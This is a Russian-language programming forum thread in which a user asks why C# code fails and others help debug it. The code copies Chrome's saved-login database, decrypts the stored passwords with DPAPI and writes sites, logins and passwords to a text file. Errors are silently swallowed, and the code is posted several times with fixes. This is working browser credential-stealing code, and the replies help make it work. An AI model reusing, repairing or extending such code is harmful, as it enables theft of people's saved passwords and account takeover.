В чем проблема? try { string GooglePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data"; string PDBPath = temp + user + "\\Chrome\\Login Data.sql"; string connectionString = $"Data Source = {PDBPath}"; if (File.Exists(PDBPath)) { File.Delete(PDBPath); } File.Copy(GooglePath, PDBPath); string db_fields = "logins"; string sql = $"SELECT * FROM {db_fields}"; DataTable db = new DataTable(); string fileName = temp + user + "\\Chrome\\Password.txt"; StreamWriter sw = new StreamWriter(fileName); byte[] entropy = null; string description; using (SQLiteConnection connection = new SQLiteConnection(connectionString)) { SQLiteCommand command = new SQLiteCommand(sql, connection); SQLiteDataAdapter adapter = new SQLiteDataAdapter(command); adapter.Fill(db); } int rows = db.Rows.Count; for (int i = 0; i < rows; i++) { string url = db.Rows[i][1].ToString(); string login = db.Rows[i][3].ToString(); byte[] byteArray = (byte[])db.Rows[i][5]; byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description); string password = new UTF8Encoding(true).GetString(decrypted); sw.WriteLine("----------------------------"); sw.WriteLine($"Log Num: {i}"); sw.WriteLine($"Site: {url}"); sw.WriteLine($"Login: {login}"); sw.WriteLine($"Pass: {password}"); } sw.Close(); } catch { } C# try { string GooglePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data"; string PDBPath = temp + user + "\\Chrome\\Login Data.sql"; string connectionString = $"Data Source = {PDBPath}"; if (File.Exists(PDBPath)) { File.Delete(PDBPath); } File.Copy(GooglePath, PDBPath); string db_fields = "logins"; string sql = $"SELECT * FROM {db_fields}"; DataTable db = new DataTable(); string fileName = temp + user + "\\Chrome\\Password.txt"; StreamWriter sw = new StreamWriter(fileName); byte[] entropy = null; string description; using (SQLiteConnection connection = new SQLiteConnection(connectionString)) { SQLiteCommand command = new SQLiteCommand(sql, connection); SQLiteDataAdapter adapter = new SQLiteDataAdapter(command); adapter.Fill(db); } int rows = db.Rows.Count; for (int i = 0; i < rows; i++) { string url = db.Rows[i][1].ToString(); string login = db.Rows[i][3].ToString(); byte[] byteArray = (byte[])db.Rows[i][5]; byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description); string password = new UTF8Encoding(true).GetString(decrypted); sw.WriteLine("----------------------------"); sw.WriteLine($"Log Num: {i}"); sw.WriteLine($"Site: {url}"); sw.WriteLine($"Login: {login}"); sw.WriteLine($"Pass: {password}"); } sw.Close(); } catch { }
Попробуй через поле using сделать. И проверь в дебаге, db у тебя заполнено? Т.е. byte[] entropy = null; string description; using (SQLiteConnection connection = new SQLiteConnection(connectionString)) { SQLiteCommand command = new SQLiteCommand(sql, connection); SQLiteDataAdapter adapter = new SQLiteDataAdapter(command); adapter.Fill(db); } int rows = db.Rows.Count; using( StreamWriter sw = new StreamWriter(fileName)){ for (int i = 0; i < rows; i++) { string url = db.Rows[i][1].ToString(); string login = db.Rows[i][3].ToString(); byte[] byteArray = (byte[])db.Rows[i][5]; byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description); string password = new UTF8Encoding(true).GetString(decrypted); sw.WriteLine("----------------------------"); sw.WriteLine($"Log Num: {i}"); sw.WriteLine($"Site: {url}"); sw.WriteLine($"Login: {login}"); sw.WriteLine($"Pass: {password}"); } } C# byte[] entropy = null; string description; using (SQLiteConnection connection = new SQLiteConnection(connectionString)) { SQLiteCommand command = new SQLiteCommand(sql, connection); SQLiteDataAdapter adapter = new SQLiteDataAdapter(command); adapter.Fill(db); } int rows = db.Rows.Count; using( StreamWriter sw = new StreamWriter(fileName)){ for (int i = 0; i < rows; i++) { string url = db.Rows[i][1].ToString(); string login = db.Rows[i][3].ToString(); byte[] byteArray = (byte[])db.Rows[i][5]; byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description); string password = new UTF8Encoding(true).GetString(decrypted); sw.WriteLine("----------------------------"); sw.WriteLine($"Log Num: {i}"); sw.WriteLine($"Site: {url}"); sw.WriteLine($"Login: {login}"); sw.WriteLine($"Pass: {password}"); } }
vtlstolyarov, понятно только то что выдало ошибку то что не удалось расшифровать пароль, как его расшифровать?
Keks88, Ну оно жалуется что не может расшифровать данные которые ей дал. Возможно проблема в приведении типов в предыдущей строке. Я конечно не знаю что у тебя там внутри, но может быть стоит попробовать передать Decrypt'у строку (одна из перегрузок её принимает)? Или же привести строку db.Rows[5].ToString().ToArray(); таким образом?
для расшифровки использовал этот класс https://github.com/xZCodeTeam/Googl...sword-get/google-chrome-password-get/DPAPI.cs